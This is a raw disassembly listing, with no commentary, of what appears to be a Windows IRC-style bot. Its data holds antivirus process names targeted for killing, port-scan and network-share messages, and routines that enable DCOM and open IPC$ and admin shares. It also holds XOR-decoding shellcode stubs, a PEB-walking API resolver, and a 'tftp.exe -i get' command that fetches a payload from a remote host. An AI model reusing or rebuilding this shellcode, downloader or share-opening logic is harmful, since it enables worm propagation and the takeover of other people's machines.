aAdvxdwin_exe	db 'ADVXDWIN.EXE',0     ; DATA XREF: ___:00438254o
		align 4
aAdaware_exe	db 'ADAWARE.EXE',0      ; DATA XREF: ___:00438250o
aAckwin32_exe	db 'ACKWIN32.EXE',0     ; DATA XREF: ___:off_43824Co
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_415B93+191o
		align 10h
unk_43AD10	db    2			; DATA XREF: sub_415DC2:loc_415E49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessListFai	db 'Process list failed.',0
		align 4
unk_43AD48	db    2			; DATA XREF: sub_415DC2+80o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessListCom	db 'Process list completed.',0
dword_43AD80	dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h
					; DATA XREF: sub_415DC2+19o
		dd 671F6C1Fh, 0BB022029h, 202002BBh, 7473694Ch,	20676E69h
		dd 636F7270h, 65737365h, 3A73h,	0
aConst		db 'const',0
		align 10h
		dd 0
dword_43ADC4	dd 0		off_43ADC8	dd offset sub_415F27	; DATA XREF: sub_4162D6+4Cr
aLetter		db 'letter',0
		align 8
		dd 1, 415F85h, 63696E64h, 6Bh, 0
		dd 2, 415FD2h
dword_43ADF4	dd 69257325h, 0						; ___:00416213o
aSSSSS		db '%s|%s|%s|%s|%s|',0  ; DATA XREF: ___:004161EDo
a99		db '99',0               ; DATA XREF: ___:loc_4161ABo
		align 10h
a0D		db '0%d',0              ; DATA XREF: ___:00416185o
aW:					; DATA XREF: ___:loc_41613Co
		unicode	0, <W>,0
off_43AE18	dd offset byte_4B4E55	; DATA XREF: ___:0041611Co
dword_43AE1C	dd 345053h	dword_43AE20	dd 34h		dword_43AE24	dd 335053h	dword_43AE28	dd 33h		
; =============== S U B	R O U T	I N E =======================================



sub_43AE2C	proc near		; DATA XREF: ___:004160DBo
		push	ebx
		push	eax
		xor	al, [eax]
sub_43AE2C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43AE30	proc near		; DATA XREF: ___:004160BDo
		push	ebx
		push	eax
		xor	[eax], eax
sub_43AE30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_43AE34	dd 305053h	dword_43AE38	dd 4E55h	dword_43AE3C	dd 334B32h	dword_43AE40	dd 5D64255Bh, 7325hoff_43AE48	dd offset byte_5D4D5B	; DATA XREF: sub_416233+2Co
					; sub_416233+57o
unk_43AE4C	db    2			; DATA XREF: sub_416343+92o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
		db    2
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 10h
		dd 1D4C0h
		align 8
off_43AEC8	dd offset dword_43AF00	; DATA XREF: sub_416561+1B3o
					; sub_416885+17Ao
		align 10h
		dd offset dword_43AEF8
		align 8
off_43AED8	dd offset dword_43AEF4	; DATA XREF: sub_416885+1E3o
		dd offset off_43AEF0
		dd offset dword_43AEEC
		dd offset off_43AEE8
off_43AEE8	dd offset dword_5C3A44	; DATA XREF: sub_416561+217o
					; ___:0043AEE4o
dword_43AEEC	dd 2444h	off_43AEF0	dd offset byte_5C3A43	; DATA XREF: ___:0043AEDCo
dword_43AEF4	dd 2443h	dword_43AEF8	dd 494D4441h, 244Ehdword_43AF00	dd 24435049h, 0	unk_43AF08	db    2			; DATA XREF: sub_416561+2E5o
					; sub_416885+2D8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_43AF48	db    2			; DATA XREF: sub_416561+2CFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 10h
unk_43AF80	db    2			; DATA XREF: sub_416561:loc_4167C3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 4
unk_43AFBC	db    2			; DATA XREF: sub_416561+25Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 10h
unk_43AFF0	db    2			; DATA XREF: sub_416561:loc_416730o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 4
unk_43B02C	db    2			; DATA XREF: sub_416561+1C8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 10h
unk_43B060	db    2			; DATA XREF: sub_416561:loc_416693o
					; sub_416885:loc_4169B3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 10h
unk_43B0A0	db    2			; DATA XREF: sub_416561:loc_41668Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 4
unk_43B0EC	db    2			; DATA XREF: sub_416561:loc_41666Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 10h
unk_43B130	db    2			; DATA XREF: sub_416561+106o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_416561+EDo
					; sub_416885+EDo
		align 10h
unk_43B190	db    2			; DATA XREF: sub_416561+91o
					; sub_416885+91o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 10h
dword_43B1D0	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_416561:loc_4165CEo
		dd 2202967h, 2002BBBBh,	4F434420h, 6964204Dh, 6C626173h
		dd 2E6465h
unk_43B1FC	db    2			; DATA XREF: sub_416561+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 10h
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_416561+54o
					; sub_416885+54o
		align 4
word_43B23C	dw 4Eh			; DATA XREF: sub_416561+38r
		align 10h
unk_43B240	db    2			; DATA XREF: sub_416885+2C0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
aC_1		db '%c:\',0             ; DATA XREF: sub_416885+22Ao
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_416885+219o
unk_43B280	db    2			; DATA XREF: sub_416885:loc_416A24o
					; sub_416885:loc_416AF2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
		align 4
unk_43B2B8	db    2			; DATA XREF: sub_416885+198o
					; sub_416885+266o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 4
unk_43B2E8	db    2			; DATA XREF: sub_416885:loc_4169ACo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 4
unk_43B334	db    2			; DATA XREF: sub_416885:loc_41698Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
unk_43B378	db    2			; DATA XREF: sub_416885+102o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
dword_43B3C4	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_416885:loc_4168F2o
		dd 2202967h, 2002BBBBh,	4F434420h, 6E65204Dh, 656C6261h
		dd 2E64h
unk_43B3F0	db    2			; DATA XREF: sub_416885+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 4
word_43B424	dw 59h			; DATA XREF: sub_416885+38r
		align 4


loc_43B428:				; DATA XREF: sub_416D51+C4o
		jmp	short loc_43B42C
; ---------------------------------------------------------------------------


loc_43B42A:				; CODE XREF: ___:loc_43B42Cp
		jmp	short loc_43B431
; ---------------------------------------------------------------------------


loc_43B42C:				; CODE XREF: ___:loc_43B428j
		call	loc_43B42A


loc_43B431:				; CODE XREF: ___:loc_43B42Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_43B436	dw 0FFFFh		; DATA XREF: sub_416D51+CCw
		db 80h,	73h, 0Eh
byte_43B43B	db 0FFh			; DATA XREF: sub_416D51+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_43B440:				; DATA XREF: sub_416D51+A2o
		jmp	short loc_43B444
; ---------------------------------------------------------------------------


loc_43B442:				; CODE XREF: ___:loc_43B444p
		jmp	short loc_43B449
; ---------------------------------------------------------------------------


loc_43B444:				; CODE XREF: ___:loc_43B440j
		call	loc_43B442


loc_43B449:				; CODE XREF: ___:loc_43B442j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_43B44D	db 0FFh			; DATA XREF: sub_416D51+AAw
		dw 7380h
		db 0Ch
byte_43B451	db 0FFh			; DATA XREF: sub_416D51+B0w
		dw 0E243h
		dd 0F9h
dword_43B458	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_416BDA+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43B4BC	dd 12h		aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_416BDA+79o
aJ		db 'j',0
		db 0E8h
dword_43B4D5	dd 17h		; ---------------------------------------------------------------------------
		jnz	short near ptr byte_43B4DC
		retn
; ---------------------------------------------------------------------------
byte_43B4DC	db 0E8h			; CODE XREF: ___:0043B4D9j
dword_43B4DD	dd 1		byte_43B4E1	db 0, 6Ah, 0		; DATA XREF: sub_416BDA+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_43B4EB	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
aThreadList	db '-[Thread List]-',0
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_4170E6+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_4170E6+35o
dword_43B56C	dd 29E2C0h			dd 9875h, 9873h
off_43B578	dd offset sub_418D5F	; DATA XREF: ___:00418F6Ar
		dd offset nullsub_1
		dd offset nullsub_1
		align 10h
off_43B590	dd offset sub_418FA8	; DATA XREF: sub_4191E5+1Cr
dword_43B594	dd 2							; sub_41D415+46r ...
off_43B598	dd offset aNull_0	; DATA XREF: sub_419343:loc_4196A7r
					; sub_419343+457r
					; "(null)"
off_43B59C	dd offset aNull		; DATA XREF: sub_419343+259r
					; "(null)"
off_43B5A0	dd offset word_43B5AA	; DATA XREF: sub_417894+23r
					; sub_417894:loc_4178F5r ...
off_43B5A4	dd offset word_43B5AA	; DATA XREF: sub_420833+18r
		db 2 dup(0)
word_43B5AA	dw 20h			; DATA XREF: sub_41EE2C+18r
					; ___:off_43B5A0o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43B7AC	dd 1							; sub_417894:loc_4178E0r ...
byte_43B7B0	db 2Eh			; DATA XREF: sub_41A824:loc_41AB18r
					; sub_41A824+311r ...
		align 4
		dd 1, 10h
dword_43B7BC	dd 3F8h							; sub_418C3F+4Dr ...
dword_43B7C0	dd 0D2D0920h, 5Dhdword_43B7C8	dd 5Dh,	0	byte_43B7D0	db 1			; DATA XREF: sub_41BFFC+E1r
		db 2, 4, 8
		align 8
dword_43B7D8	dd 3A4h		dword_43B7DC	dd 82798260h, 21h, 0dword_43B7E8	dd 0DFA6h			align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
off_43B8C8	dd offset sub_41C8A4	; DATA XREF: sub_418D77+Fw
					; sub_419343+3AAr ...
off_43B8CC	dd offset sub_41C539	; DATA XREF: sub_418D77+5w
					; sub_419343+3E2r
off_43B8D0	dd offset sub_41C59F	; DATA XREF: sub_418D77+14w
					; sub_41A824+430r
off_43B8D4	dd offset sub_41C4DF	; DATA XREF: sub_418D77+1Ew
					; sub_419343+3CBr
off_43B8D8	dd offset sub_41C587	; DATA XREF: sub_418D77+28w
off_43B8DC	dd offset sub_41C8A4	; DATA XREF: sub_418D77+32w
dword_43B8E0	dd 1		dword_43B8E4	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43BA48	dd 0C0000005h						; sub_41CB8C+Ar ...
		dd 0Bh,	0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43BAC0	dd 3		dword_43BAC4	dd 7		dword_43BAC8	dd 0Ah		dword_43BACC	dd 8Ch							; ___:0041CADAw ...
dword_43BAD0	dd 0FFFFFFFFh, 0A00h					; sub_41B582:loc_41B603o
dword_43BAD8	dd 19930520h, 3	dup(0)					; sub_41D2E2+2o
dword_43BAE8	dd 2							; sub_41D415+28r
off_43BAEC	dd offset aR6002FloatingP ; DATA XREF: sub_41D415+FCr
					; sub_41D415+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 421944h, 9, 421918h, 0Ah,	4218F4h, 10h, 4218C8h
		dd 11h,	421898h, 12h, 421874h, 13h, 421848h, 18h, 421810h
		dd 19h,	4217E8h, 1Ah, 4217B0h, 1Bh, 421778h, 1Ch, 421750h
		dd 78h,	421740h, 79h, 421730h, 7Ah, 421720h, 0FCh, 4282FCh
		dd 0FFh, 421710h
off_43BB78	dd offset dword_515B60	; DATA XREF: sub_41D415+1Bo
					; sub_41D5D2+55o
		align 10h
		dd offset dword_515B60
		dd 101h
dword_43BB88	dd 0FFFFFFFFh, 0		dd 1000h, 0
dword_43BB98	dd 3 dup(0)						; sub_41C981+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43BBB8	dd 3 dup(0)						; sub_41C981:loc_41C99Fo
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43BBE8	dd 84h dup(0)	dword_43BDF8	dd 2 dup(0)	dword_43BE00	dd 7080h						; sub_41DD12+5Ew ...
dword_43BE04	dd 1							; sub_41DD12+8Bw ...
dword_43BE08	dd 0FFFFF1F0h						; sub_41DD12+94w ...
off_43BE0C	dd offset dword_545350	; DATA XREF: ___:off_43BE8Co
		dd 0Fh dup(0)
off_43BE4C	dd offset dword_544450	; DATA XREF: ___:off_43BE90o
		dd 0Fh dup(0)
off_43BE8C	dd offset off_43BE0C	; DATA XREF: sub_41DD12+BAr
					; sub_41DD12+D9r ...
off_43BE90	dd offset off_43BE4C	; DATA XREF: sub_41DD12+F4r
					; sub_41DD12+11Br ...
		align 8
dword_43BE98	dd 0FFFFFFFFh						; sub_41DF70+1Er ...
dword_43BE9C	dd 0							; sub_41E11C+BFw
dword_43BEA0	dd 0							; sub_41E11C+E0w
		align 8
dword_43BEA8	dd 0FFFFFFFFh						; sub_41DF70+26r ...
dword_43BEAC	dd 0							; sub_41E11C+EAw ...
dword_43BEB0	dd 0							; sub_41E11C+23r ...
dword_43BEB4	dd 0FFFFFFFFh			dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43BEE4	dd 16Dh							; sub_41E11C+2Er ...
dword_43BEE8	dd 0FFFFFFFFh			dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43BF20	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_43BF38	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fhdword_43BF50	dd 2 dup(0)			dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43C0B0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_41FDC6+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
byte_43C210	db 0			; DATA XREF: sub_401447+1D3w
					; sub_401447+2D2o
		align 2
word_43C212	dw 0			; DATA XREF: sub_401447+1E3w
word_43C214	dw 0			; DATA XREF: sub_401447+1E9w
word_43C216	dw 0			; DATA XREF: sub_401447+1F0w
byte_43C218	db 0			; DATA XREF: sub_401447+1F7w
byte_43C219	db 0			; DATA XREF: sub_401447+1FEw
word_43C21A	dw 0			; DATA XREF: sub_401447+204w
dword_43C21C	dd 0							; sub_401447+250w
dword_43C220	dd 0		byte_43C224	db 0			; DATA XREF: sub_401447+26Aw
byte_43C225	db 0			; DATA XREF: sub_401447+27Dw
word_43C226	dw 0			; DATA XREF: sub_401447+295w
word_43C228	dw 0			; DATA XREF: sub_401447+2A4w
word_43C22A	dw 0			; DATA XREF: sub_401447+29Cw
dword_43C22C	dd 101h	dup(0)	dword_43C630	dd 0							; sub_402B83+9o
		align 8
dword_43C638	dd 0		byte_43C63C	db 0			; DATA XREF: sub_403A47+36r
					; sub_403B2A+37r ...
		align 10h
dword_43C640	dd 0							; sub_404197+30r ...
		align 8
dword_43C648	dd 0							; sub_405953+51r ...
